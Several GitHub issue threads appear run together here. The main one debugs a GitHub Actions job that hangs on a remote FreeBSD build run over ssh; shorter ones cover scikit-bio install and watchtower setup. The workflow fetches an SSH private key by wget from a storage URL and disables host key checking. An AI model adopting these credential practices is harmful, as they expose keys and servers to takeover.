unable exit from job(github actions)the job after running script

Description
Job is not going exit state(or completed ) after completing script(on remote server)
state of failure
when there is continuous generation of output from command github actions running fine but  if there is 30-45 seconds gap for displaying output during execution of commands then github action job going in hold state( or inprogress ) till  github actions  job max time reach (2hr 13min) then going failed state
script is to be run on remote server
ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /myscript"
make compress-usr
make  mfsroot
make  iso
make  image

actually script is executing on remote server side but github action is not going completed stage. kindly let me know what could be the reason

Hey, @sriedjx !
Could you please clarify some moments?

Is the job failed on Github Actions on that step (step with remote script execution) and what is the exit code?
Does it always fails after more or less same period of time (you have mentioned 2h 13m, is it some magic value)?
Could you please share the job spec?
What type of runner do you use (MacOS, Ubuntu, Windows)?
As far as I have understood, you can see the actual script execution on the remote server while it is already failed on Github side, is it correct?

1.yes, script is executing from github actions on remote server and getting expected output on remote server but github actions job is in hold state(i dont knw what state i would call which is not going forward the output should generated while executing the script but its not) Error: Process completed with exit code 255.
2.yes the execution of script doesnt take morethan 20min  but github actions taking 2hr -2hr 15min and failing the job but on remote server script is already executed
3. action file
name: edjos build automation
on: push

jobs:
  build:
    name: Digital-Ocean
    runs-on: ubuntu-latest
    steps:
      - name: Digital Ocean Auth
        uses<EMAIL_ADDRESS>        with:
         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
      - name: edjos droplet
        run: doctl compute droplet create --image 82170717 --size s-2vcpu-4gb --region nyc3 --ssh-keys ${{ secrets.SSH }} mydroplet
      - name: sleep
        run: sleep 480
      - name: login
        run: |
          cat <<EOF  > .id_rsa
          -----BEGIN OPENSSH PRIVATE KEY-----
          mykey
          -----END OPENSSH PRIVATE KEY-----
          EOF
          chmod 400 .id_rsa
          IPaddress=$(doctl compute droplet list mydroplet | awk 'NR==2 {print $3}')
          echo "$IPaddress"
          ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /root/myscript"

ubuntu-latest
yes, script is executing on remote server which is triggered by github action and on remote server script is generated expected output but github action unable to identify script is executed or not.

please respond back

@sriedjx , could you please temporary replace your sh script with simple echo and report results back?
ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "echo helloworld"

Will the step finish immediately in this case?

it will work, im able to run script remotely but as i said if there is generation output continuously there is no problem with github actions but when some command take time(may it is running something in background which dont need to display output or there is no output for displaying) then problem arises(just observation but not sure) else other commands/script works fine.
anyway here is output of your query
Warning: Permanently added '<IP_ADDRESS>' (ECDSA) to the list of known hosts.
hello-world

If ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "echo helloworld" finishes successfully without delay
and ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /root/myscript" hangs for 2 hours, I think something goes wrong during sh /root/myscript execution. May be this script hangs and doesn't finish properly.
GitHub Actions timeout is 6 hours so there is no reason for job failure in 2h 13 minutes. I think it is ssh timeout

if the client's connection is working, yet will still send the encrypted alive message every 30 seconds. It will only disconnect after at least 2 hours of inactivity.

A few more ideas:

Could you please try to create sh file with echo helloworld content and run it ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /root/helloworld.sh"? Will it hangs the same way?
Try to add exit command after script execution: ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /root/myscript && exit"

but same script I'm able to run on remote server. and my script is executing and generating expected output on remote server  which is triggered by GitHub Actions but my problem is GitHub Actions job is not going into completed state.

Tried this as you said: ssh -o StrictHostKeyChecking=no -i .id_rsa root@$IPaddress "sh /root/myscript && exit" but same error. build failed at 2hrs 12min
logs as below
2021-04-27T12:27:42.1934328Z ##[section]Starting: Request a runner to run this job
2021-04-27T12:27:42.6637716Z Can't find any online and idle self-hosted runner in current repository that matches the required labels: 'ubuntu-latest'
2021-04-27T12:27:42.6637859Z Can't find any online and idle self-hosted runner in current repository's account/organization that matches the required labels: 'ubuntu-latest'
2021-04-27T12:27:42.6638357Z Found online and idle hosted runner in current repository's account/organization that matches the required labels: 'ubuntu-latest'
2021-04-27T12:27:42.9077544Z ##[section]Finishing: Request a runner to run this job
2021-04-27T12:27:50.4981530Z Current runner version: '2.278.0'
2021-04-27T12:27:50.5004498Z ##[group]Operating System
2021-04-27T12:27:50.5005387Z Ubuntu
2021-04-27T12:27:50.5005799Z 20.04.2
2021-04-27T12:27:50.5006247Z LTS
2021-04-27T12:27:50.5006761Z ##[endgroup]
2021-04-27T12:27:50.5007290Z ##[group]Virtual Environment
2021-04-27T12:27:50.5007929Z Environment: ubuntu-20.04
2021-04-27T12:27:50.5008448Z Version: 20210419.1
2021-04-27T12:27:50.5009433Z Included Software: https://github.com/actions/virtual-environments/blob/ubuntu20/20210419.1/images/linux/Ubuntu2004-README.md
2021-04-27T12:27:50.5010791Z Image Release: https://github.com/actions/virtual-environments/releases/tag/ubuntu20%2F20210419.1
2021-04-27T12:27:50.5011608Z ##[endgroup]
2021-04-27T12:27:50.5013440Z ##[group]GITHUB_TOKEN Permissions
2021-04-27T12:27:50.5014544Z Actions: write
2021-04-27T12:27:50.5015105Z Checks: write
2021-04-27T12:27:50.5015571Z Contents: write
2021-04-27T12:27:50.5016119Z Deployments: write
2021-04-27T12:27:50.5016720Z Issues: write
2021-04-27T12:27:50.5017256Z Metadata: read
2021-04-27T12:27:50.5017822Z Packages: write
2021-04-27T12:27:50.5018333Z PullRequests: write
2021-04-27T12:27:50.5018975Z RepositoryProjects: write
2021-04-27T12:27:50.5019568Z SecurityEvents: write
2021-04-27T12:27:50.5020142Z Statuses: write
2021-04-27T12:27:50.5020753Z ##[endgroup]
2021-04-27T12:27:50.5023762Z Prepare workflow directory
2021-04-27T12:27:50.5593154Z Prepare all required actions
2021-04-27T12:27:50.5603022Z Getting action download info
2021-04-27T12:27:51.0486209Z Download action repository<EMAIL_ADDRESS>2021-04-27T12:27:52.8229420Z ##[group]Run<EMAIL_ADDRESS>2021-04-27T12:27:52.8230091Z with:
2021-04-27T12:27:52.8230994Z   token: ***
2021-04-27T12:27:52.8231419Z   version: latest
2021-04-27T12:27:52.8231860Z ##[endgroup]
2021-04-27T12:27:53.6939216Z [command]/usr/bin/tar xz --warning=no-unknown-keyword -C /home/runner/work/_temp/80921f83-d5f0-435e-810c-82a6612dd662 -f /home/runner/work/_temp/c6e9cb48-b15b-4fe3-bba6-9c8f6611c0ac
2021-04-27T12:27:53.6941443Z >>> doctl version v1.59.0 installed to /opt/hostedtoolcache/doctl/1.59.0/x64
2021-04-27T12:27:53.6943214Z [command]/opt/hostedtoolcache/doctl/1.59.0/x64/doctl auth init -t ***
2021-04-27T12:27:53.6944361Z Using token [***]
2021-04-27T12:27:53.6944756Z
2021-04-27T12:27:53.8229073Z Validating token... OK
2021-04-27T12:27:53.8229483Z
2021-04-27T12:27:54.4157397Z >>> Successfully logged into doctl
2021-04-27T12:27:54.4265595Z ##[group]Run wget https://edjos-space.nyc3.digitaloceanspaces.com/.id_rsa
2021-04-27T12:27:54.4267276Z wget https://edjos-space.nyc3.digitaloceanspaces.com/.id_rsa
2021-04-27T12:27:54.4268237Z chmod 400 .id_rsa
2021-04-27T12:27:54.4268699Z #doctl compute droplet list test*
2021-04-27T12:27:54.4269269Z #IPaddress=$(doctl compute droplet list test
2021-04-27T12:27:54.4270043Z ssh -o StrictHostKeyChecking=no -i .id_rsa<EMAIL_ADDRESS>"sh /root/script && exit"
2021-04-27T12:27:54.4312252Z shell: /usr/bin/bash -e {0}
2021-04-27T12:27:54.4312695Z ##[endgroup]
2021-04-27T12:27:54.4421263Z --2021-04-27 12:27:54--  https://edjos-space.nyc3.digitaloceanspaces.com/.id_rsa
2021-04-27T12:27:54.4560704Z Resolving edjos-space.nyc3.digitaloceanspaces.com (edjos-space.nyc3.digitaloceanspaces.com)... <IP_ADDRESS>
2021-04-27T12:27:54.4631454Z Connecting to edjos-space.nyc3.digitaloceanspaces.com (edjos-space.nyc3.digitaloceanspaces.com)|<IP_ADDRESS>|:443... connected.
2021-04-27T12:27:54.4967547Z HTTP request sent, awaiting response... 200 OK
2021-04-27T12:27:54.4968577Z Length: 2635 (2.6K) [binary/octet-stream]
2021-04-27T12:27:54.4971213Z Saving to: ‘.id_rsa’
2021-04-27T12:27:54.4977212Z
2021-04-27T12:27:54.4977776Z      0K ..                                                    100%  150M=0s
2021-04-27T12:27:54.4978057Z
2021-04-27T12:27:54.4978768Z 2021-04-27 12:27:54 (150 MB/s) - ‘.id_rsa’ saved [2635/2635]
2021-04-27T12:27:54.4979070Z
2021-04-27T12:27:54.6465047Z Warning: Permanently added '<IP_ADDRESS>' (ECDSA) to the list of known hosts.
2021-04-27T12:27:54.8471882Z cp -f build.sh build
2021-04-27T12:27:54.8497952Z chmod a+x build
2021-04-27T12:27:56.5591681Z Removing selected files from distribution ... done
2021-04-27T12:27:56.5679021Z Installing configuration scripts and files .../bin/mkdir -p /root/edjos/work/mfs/rw/stand /root/edjos/work/mfs/rw/etc/rc.conf.d
2021-04-27T12:27:56.5720069Z if [ -f "conf/boot.config" ]; then  install -m 0644 conf/boot.config /root/edjos/work/mfs/rw/boot.config;  else  install -m 0644 conf/boot.config.sample /root/edjos/work/mfs/rw/boot.config;  fi
2021-04-27T12:27:56.5760906Z if [ -f "conf/loader.conf" ]; then  install -m 0644 conf/loader.conf /root/edjos/work/mfs/boot/loader.conf;  else  install -m 0644 conf/loader.conf.sample /root/edjos/work/mfs/boot/loader.conf;  fi
2021-04-27T12:27:56.5810891Z if [ -f "images/edjx.bmp" ]; then  install -m 0644 images/edjx.bmp /root/edjos/work/mfs/boot/edjx.bmp;  fi
2021-04-27T12:27:56.5864914Z if [ -f "conf/rc.local" ]; then  install -m 0744 conf/rc.local /root/edjos/work/mfs/rw/etc/rc.local;  else  install -m 0744 conf/rc.local.sample /root/edjos/work/mfs/rw/etc/rc.local;  fi
2021-04-27T12:27:56.5911253Z if [ -f "conf/rc.conf" ]; then  install -m 0644 conf/rc.conf /root/edjos/work/mfs/rw/etc/rc.conf;  else  install -m 0644 conf/rc.conf.sample /root/edjos/work/mfs/rw/etc/rc.conf;  fi
2021-04-27T12:27:56.5949764Z if [ -f "conf/ttys" ]; then  install -m 0644 conf/ttys /root/edjos/work/mfs/rw/etc/ttys;  else  install -m 0644 conf/ttys.sample /root/edjos/work/mfs/rw/etc/ttys;  fi
2021-04-27T12:27:56.6034261Z if [ -f "conf/resolv.conf" ]; then  install -m 0644 conf/resolv.conf /root/edjos/work/mfs/rw/etc/resolv.conf;  fi
2021-04-27T12:27:56.6049663Z if [ -f "conf/interfaces.conf" ]; then  install -m 0644 conf/interfaces.conf /root/edjos/work/mfs/rw/etc/rc.conf.d/interfaces;  fi
2021-04-27T12:27:56.6087693Z if [ -f "conf/authorized_keys" ]; then  install -d -m 0700 /root/edjos/work/mfs/rw/root/.ssh;  install conf/authorized_keys /root/edjos/work/mfs/rw/root/.ssh/;  fi
2021-04-27T12:27:56.6747390Z  done
2021-04-27T12:27:57.0908012Z Generating SSH host keys ... done
2021-04-27T12:27:57.0922848Z Configuring boot environment .../bin/mkdir -p -p /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:57.0944223Z /usr/sbin/chown root:wheel /root/edjos/work/disk
2021-04-27T12:27:57.0974355Z /usr/bin/tar -c -X tools/kern_exclude -C /root/edjos/work/mfs/boot/kernel -f - . | /usr/bin/tar -xv -C /root/edjos/work/disk/boot/kernel -f -
2021-04-27T12:27:57.1213201Z x ./
2021-04-27T12:27:57.1409837Z x ./linker.hints
2021-04-27T12:27:58.0099373Z x ./kernel
2021-04-27T12:27:58.0100677Z cp -f -rp /root/edjos/work/mfs/rw/boot.config /root/edjos/work/disk
2021-04-27T12:27:58.0189423Z cp -f -rp /root/edjos/work/mfs/rw/boot/defaults /root/edjos/work/disk/boot
2021-04-27T12:27:58.0228002Z cp -f -rp /root/edjos/work/mfs/rw/boot/device.hints /root/edjos/work/disk/boot
2021-04-27T12:27:58.0261621Z cp -f -rp /root/edjos/work/mfs/rw/boot/loader_lua /root/edjos/work/disk/boot
2021-04-27T12:27:58.0343755Z cp -f -rp /root/edjos/work/mfs/rw/boot/lua /root/edjos/work/disk/boot
2021-04-27T12:27:58.0673768Z cp -f -rp /root/edjos/work/mfs/rw/boot/screen.4th /root/edjos/work/disk/boot
2021-04-27T12:27:58.0712766Z cp -f -rp /root/edjos/work/mfs/rw/boot/check-password.4th /root/edjos/work/disk/boot
2021-04-27T12:27:58.0795641Z cp -f -rp /root/edjos/work/mfs/rw/boot/color.4th /root/edjos/work/disk/boot
2021-04-27T12:27:58.0805134Z cp -f -rp /root/edjos/work/mfs/rw/boot/support.4th /root/edjos/work/disk/boot
2021-04-27T12:27:58.0840882Z cp -f -rp /root/edjos/work/mfs/rw/boot/loader.4th /root/edjos/work/disk/boot
2021-04-27T12:27:58.0873437Z cp -f -rp /root/edjos/work/mfs/rw/boot/loader.rc /root/edjos/work/disk/boot
2021-04-27T12:27:58.0898487Z /bin/mv -f /root/edjos/work/disk/boot/loader_lua /root/edjos/work/disk/boot/loader
2021-04-27T12:27:58.0917198Z /bin/rm -rf /root/edjos/work/disk/boot/kernel/*.ko /root/edjos/work/disk/boot/kernel/*.symbols
2021-04-27T12:27:58.1004659Z /usr/bin/find /root/edjos/work/mfs/boot/kernel -name 'acpi*.ko' -exec install -m 0555 {} /root/edjos/work/disk/boot/kernel \;
2021-04-27T12:27:58.1804886Z [ ! -f /root/edjos/work/mfs/boot/kernel/acpi.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/acpi.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.1829789Z [ ! -f /root/edjos/work/mfs/boot/kernel/ahci.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/ahci.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.1902287Z [ ! -f /root/edjos/work/mfs/boot/kernel/splash_pcx.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/splash_pcx.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.1963281Z [ ! -f /root/edjos/work/mfs/boot/kernel/splash_bmp.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/splash_bmp.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.2028893Z [ ! -f /root/edjos/work/mfs/boot/kernel/splash_txt.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/splash_txt.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.2085887Z [ ! -f /root/edjos/work/mfs/boot/kernel/vesa.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/vesa.ko /root/edjos/work/disk/boot/kernel
2021-04-27T12:27:58.2153892Z /bin/mkdir -p -p /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.2372979Z [ ! -f /root/edjos/work/mfs/boot/kernel/aesni.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/aesni.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.2487514Z [ ! -f /root/edjos/work/mfs/boot/kernel/crypto.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/crypto.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.2686385Z [ ! -f /root/edjos/work/mfs/boot/kernel/cryptodev.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/cryptodev.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.2788046Z [ ! -f /root/edjos/work/mfs/boot/kernel/ext2fs.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/ext2fs.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.2920944Z [ ! -f /root/edjos/work/mfs/boot/kernel/geom_eli.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/geom_eli.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3023556Z [ ! -f /root/edjos/work/mfs/boot/kernel/geom_mirror.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/geom_mirror.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3127651Z [ ! -f /root/edjos/work/mfs/boot/kernel/geom_nop.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/geom_nop.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3187131Z [ ! -f /root/edjos/work/mfs/boot/kernel/ipmi.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/ipmi.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3260805Z [ ! -f /root/edjos/work/mfs/boot/kernel/ntfs.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/ntfs.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3302390Z [ ! -f /root/edjos/work/mfs/boot/kernel/nullfs.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/nullfs.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3361578Z [ ! -f /root/edjos/work/mfs/boot/kernel/opensolaris.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/opensolaris.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3402981Z [ ! -f /root/edjos/work/mfs/boot/kernel/smbus.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/smbus.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3470253Z [ ! -f /root/edjos/work/mfs/boot/kernel/snp.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/snp.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3521802Z [ ! -f /root/edjos/work/mfs/boot/kernel/tmpfs.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/tmpfs.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.3591827Z [ ! -f /root/edjos/work/mfs/boot/kernel/zfs.ko ] ||  install -m 0555 /root/edjos/work/mfs/boot/kernel/zfs.ko /root/edjos/work/mfs/rw/boot/modules
2021-04-27T12:27:58.4429045Z /bin/mkdir -p -p /root/edjos/work/mfs/boot/modules
2021-04-27T12:27:58.4480137Z install -m 0666 /root/edjos/work/mfs/boot/kernel/tmpfs.ko /root/edjos/work/mfs/boot/modules
2021-04-27T12:27:58.4671712Z /bin/rm -rf /root/edjos/work/mfs/boot/kernel /root/edjos/work/mfs/boot/*.symbols
2021-04-27T12:27:58.8900412Z /bin/mkdir -p -p /root/edjos/work/boot
2021-04-27T12:27:58.8991314Z cp -f -p /root/edjos/work/mfs/rw/boot/pmbr /root/edjos/work/mfs/rw/boot/gptboot /root/edjos/work/boot
2021-04-27T12:27:58.9064437Z /usr/bin/gzip -9 -f /root/edjos/work/disk/boot/kernel/kernel
2021-04-27T12:28:07.5579764Z if [ -f "conf/loader.conf" ]; then  install -m 0644 conf/loader.conf /root/edjos/work/disk/boot/loader.conf;  fi
2021-04-27T12:28:07.5679232Z if [ -f "images/edjx.bmp" ]; then  install -m 0644 images/edjx.bmp /root/edjos/work/disk/boot/edjx.bmp;  fi
2021-04-27T12:28:07.5745033Z cp -f -r /root/edjos/work/disk/boot /root/edjos/work/mfs/rw/boot/bootstuff/.
2021-04-27T12:28:07.6704720Z cp -f -r /root/edjos/work/disk/boot.config /root/edjos/work/mfs/rw/boot/bootstuff/.
2021-04-27T12:28:07.6731518Z /usr/bin/touch /root/edjos/work/.boot_done
2021-04-27T12:28:07.6792975Z  done
2021-04-27T14:40:27.3108600Z client_loop: send disconnect: Broken pipe
2021-04-27T14:40:27.3118269Z Compressing root ...
2021-04-27T14:40:27.3128553Z ##[error]Process completed with exit code 255.
2021-04-27T14:40:27.3160017Z Cleaning up orphan processes

@sriedjx could you try to cut your script to something like:
/usr/bin/touch /root/test
echo "Script done"

Will it hang the same way?

yes, i've tried that. its working. as i mentioned my script is working on remote server and the same script triggered by github actions also works fine. problem is the github actions job is not going into completed stage after running my script.
and my observation is but saying general way
example: if my script generating output numerical values upto 100 output doing cat to some file, displayed upto 70 then it hold for 30-40 sec's to display further now github actions is going hold state for long time but on remote machine my expected output already captured upto 100 numbers into a file but github action job is not going into completed even though my expected output already generated on remote machine but here job stuck at 70th number.
sorry for repeated statements

@sriedjx could you provide any script example that stuck this way?
What agent do you use? Ubuntu one? Is it reproducible on all Ubuntu versions? Could you try the same on Windows one?

@sriedjx I've created Ubuntu20 VM in Azure, but, unfortunately, can't run your snippet since it requires some additional software to be installed and I have no idea what exactly. I've got an error:
make: *** No rule to make target 'makesum'.  Stop.
make: *** No rule to make target 'gomod-vendor'.  Stop.
make: *** No rule to make target 'install'.  Stop.

However, I've tested the following script and it works just fine:
wget https://www.openssl.org/source/openssl-1.1.1j.tar.gz
tar xzvf openssl-1.1.1j.tar.gz
cd openssl-1.1.1j
./config -Wl,--enable-new-dtags,-rpath,'$(LIBRPATH)'
make
sudo make install
openssl version

My yml is:
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Test ssh openssl install
        run: |
          echo "$sshkey" > privatekey
          chmod 600 privatekey
          ssh -o StrictHostKeyChecking=no -i privatekey "$user"@"$ip" "sh myscript.sh"
        env:
          user: ${{ secrets.SSHUSER }}
          sshkey: ${{ secrets.SSHKEY }}
          ip: ${{ secrets.SSHIP }}

Could you try to install openssl the same way?

can you please try below steps using github actions on remote server

create somefolder
touch Makefile and pkg-descr inside the folder
install below packages if we get an error
env ASSUME_ALWAYS_YES=YES pkg install lang/go  env ASSUME_ALWAYS_YES=YES pkg install ports-mgmt/modules2tuple
paste below content to Makefile

# $FreeBSD$

PORTNAME=	opentelemetry-collector
DISTVERSIONPREFIX=	v
DISTVERSION=	0.19.2
CATEGORIES=	sysutils
MAINTAINER=<EMAIL_ADDRESS>COMMENT=	The OpenTelemetry Collector offers a vendor-agnostic implementation on how to receive, process and export telemetry data.

LICENSE=	APACHE20
LICENSE_FILE=	${WRKSRC}/LICENSE

USES=		gmake go:modules
USE_GITHUB=	yes
GH_ACCOUNT=     edjx

PLIST_FILES=	bin/otelcol

pre-build::show-info
show-info:
	@${ECHO_MSG} ""
	@${ECHO_MSG} "ATTENTION"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "Make sure GOPATH: /root/go And is added to PATH GOPATH/bin:PATH"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "---------------------------------------------------------------"

post-extract:
	@${ECHO_MSG} ""
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "POST EXTRACT"
	@${ECHO_MSG} "---------------------------------------------------------------"

do-build:
	cd ${WRKSRC} && HOME=${WRKDIR} PATH=${WRKDIR}/go/bin:${PATH} GO_NO_VENDOR_CHECKS=1 NO_LINT=YES  gmake install-tools
	cd ${WRKSRC} && HOME=${WRKDIR} PATH=${WRKDIR}/go/bin:${PATH} GO_NO_VENDOR_CHECKS=1 NO_LINT=YES  gmake otelcol
	cd ${WRKSRC}/bin && mv otelcol_freebsd_amd64 otelcol

do-install:
	${INSTALL_PROGRAM} ${WRKSRC}/bin/otelcol ${STAGEDIR}${PREFIX}/bin/otelcol

.include <bsd.port.mk>

run below commands
make makesum
make gomod-vendor
make install

@sriedjx

what FreeBSD version is needed?
Am I right that I need to download OpenTelemetry repo as a first step?
It would be great if you can provide full step-by-step instruction about setting up a server.

i think u can directly install

kindly let me know if you get the issue

Hi @sriedjx,
Unfortunately, we are not deep experts in the tools you mentioned, and setting up the project from scratch on our side is a significant time-consuming task, that can extend the issue investigation period.
This issue seems to be important for you, so we would really appreciate if you could provide some public repo with minimal repro steps. That way we will be able to find the root cause more efficiently and help you much faster.

can you please try below steps using github actions on remote server

create somefolder
touch Makefile and pkg-descr inside the folder
install below packages if we get an error
env ASSUME_ALWAYS_YES=YES pkg install lang/go
env ASSUME_ALWAYS_YES=YES pkg install ports-mgmt/modules2tuple
paste below content to Makefile

# $FreeBSD$

PORTNAME=	opentelemetry-collector
DISTVERSIONPREFIX=	v
DISTVERSION=	0.19.2
CATEGORIES=	sysutils
MAINTAINER=<EMAIL_ADDRESS>COMMENT=	The OpenTelemetry Collector offers a vendor-agnostic implementation on how to receive, process and export telemetry data.

LICENSE=	APACHE20
LICENSE_FILE=	${WRKSRC}/LICENSE

USES=		gmake go:modules
USE_GITHUB=	yes
GH_ACCOUNT=     edjx

PLIST_FILES=	bin/otelcol

pre-build::show-info
show-info:
	@${ECHO_MSG} ""
	@${ECHO_MSG} "ATTENTION"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "Make sure GOPATH: /root/go And is added to PATH GOPATH/bin:PATH"
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "---------------------------------------------------------------"

post-extract:
	@${ECHO_MSG} ""
	@${ECHO_MSG} "---------------------------------------------------------------"
	@${ECHO_MSG} "POST EXTRACT"
	@${ECHO_MSG} "---------------------------------------------------------------"

do-build:
	cd ${WRKSRC} && HOME=${WRKDIR} PATH=${WRKDIR}/go/bin:${PATH} GO_NO_VENDOR_CHECKS=1 NO_LINT=YES  gmake install-tools
	cd ${WRKSRC} && HOME=${WRKDIR} PATH=${WRKDIR}/go/bin:${PATH} GO_NO_VENDOR_CHECKS=1 NO_LINT=YES  gmake otelcol
	cd ${WRKSRC}/bin && mv otelcol_freebsd_amd64 otelcol

do-install:
	${INSTALL_PROGRAM} ${WRKSRC}/bin/otelcol ${STAGEDIR}${PREFIX}/bin/otelcol

.include <bsd.port.mk>

run below commands
cd /somefolder
make makesum
make gomod-vendor
make install

please follow these steps.

There are several unclear things in these steps which prevents us from following them, because we don't have the full context of what you are trying to set up. Would be great if you could provide a minimal working public demo, it will help us all in the investigation process

no, i just saying to follow those steps to understand my issue. since its hard to understand the issue unless we are on the same page.
above steps doesn't require to clone the repo its just simple makefile to install opentelemetry

@sriedjx it requires FreeBSD VM with preinstalled software. It's not clear which OS version should be used and what software should be installed beside the
env ASSUME_ALWAYS_YES=YES pkg install lang/go
env ASSUME_ALWAYS_YES=YES pkg install ports-mgmt/modules2tuple

here is the public repo which i created with steps
https://github.com/sriedjx/demo.git
1. clone the repo
git clone https://github.com/sriedjx/demo.git
2. clone freebsd-ports-repo and copy all ports to /usr/ports
git clone https://github.com/freebsd/freebsd-ports.git
3. env ASSUME_ALWAYS_YES=YES pkg install lang/go
4.env ASSUME_ALWAYS_YES=YES pkg install ports-mgmt/modules2tuple
5.cd demo
6.make makesum
7.make gomod-vendor
8.make install

last 4 steps create script file on freebsd server and run from github actions

iso and img file's
https://download.freebsd.org/ftp/releases/amd64/amd64/ISO-IMAGES/13.0/
you can use these freebsd version's

yes but if you run script on remote machine from github actions you wont get any pop-up. however github action is not stuck at that point
it stuck at below
fatal: No names found, cannot describe anything.
go generate ./...
GO111MODULE=on CGO_ENABLED=0 go build -o ./bin/otelcol_freebsd_amd64 -ldflags "-X go.opentelemetry.io/collector/internal/version.GitHash=af66509 -X go.opentelemetry.io/collector/internal/version.Version= -X go.opentelemetry.io/collector/internal/version.BuildType=release" ./cmd/otelcol

and my major problem is while compressing the OS stuff as i raised this ticket. please look at starting of this ticket.for that script no pop up nothing but same issue

kindly respond back we need to solve this issue anytime

@sriedjx we can't reproduce the issue, the run works fine on our Azure 12.2 FreeBSD VM

cd demo
ls -las
make makesum
make gomod-vendor
make install
echo "Install complete"

@sriedjx I'm going to close the issue since it's not related to the virtual-environments images.
Please feel free to contact us if you have any concerns.
Thank you!


Current version fails to compile on linux with pip

Just pip3 install scikit-bio fails to install.
Downloading the release version, updating the setup.py to include the numpy dirs in the Extension portion, and export USE_CYTHON=True allowed me to install it locally.
It seems to hang up on installing from '.c' extensions (i.e., when it does not find a USE_CYTHON env variable).  The fault seems to lie with the alignment extension.
My new setup.py extensions section now looks like this:
extensions = [
    Extension("skbio.stats.__subsample",
              ["skbio/stats/__subsample" + ext],
                include_dirs = [np.get_include()]),
    Extension("skbio.alignment._ssw_wrapper",
              ["skbio/alignment/_ssw_wrapper" + ext,
               "skbio/alignment/_lib/ssw.c"],
              extra_compile_args=ssw_extra_compile_args,
                include_dirs = [np.get_include()]),
    Extension("skbio.diversity._phylogenetic",
              ["skbio/diversity/_phylogenetic" + ext],
               include_dirs = [np.get_include()])
]

Which, I have since realised that the current master branch has as well.
Anders.

Thanks for reporting this issue and your fix @andersgs! This was an issue on OS X El Capitan, reported in #1407 and fixed in #1408. It has since been fixed in master and will be available in the next release. For users encountering this issue with the current release, another alternative is to use conda to install scikit-bio (see http://scikit-bio.org/ for details).


Present continuous testing use case diagram for community review

Review should expand or contract mindmap. Particular interest in selecting the correct tooling.

Closed as duplicate of #19.


How to run the project locally?

I've try to run the project locally in Windows 10 with Go and Glide.
I ran the command glide install but when I try run using go run main.go then throw error:
..\..\Go\src\github.com\v2tec\watchtower\container\trust.go:10:2: cannot find package "github.com/docker/docker/api/types/reference" in any of:
        C:\Go\src\github.com\docker\docker\api\types\reference (from $GOROOT)
        C:\Users\amezc\Documents\Go\src\github.com\docker\docker\api\types\reference (from $GOPATH)
..\..\Go\src\github.com\v2tec\watchtower\container\trust.go:11:2: cannot find package "github.com/docker/docker/cli/command" in any of:
        C:\Go\src\github.com\docker\docker\cli\command (from $GOROOT)
        C:\Users\amezc\Documents\Go\src\github.com\docker\docker\cli\command (from $GOPATH)
..\..\Go\src\github.com\v2tec\watchtower\container\trust.go:12:2: cannot find package "github.com/docker/docker/cliconfig" in any of:
        C:\Go\src\github.com\docker\docker\cliconfig (from $GOROOT)
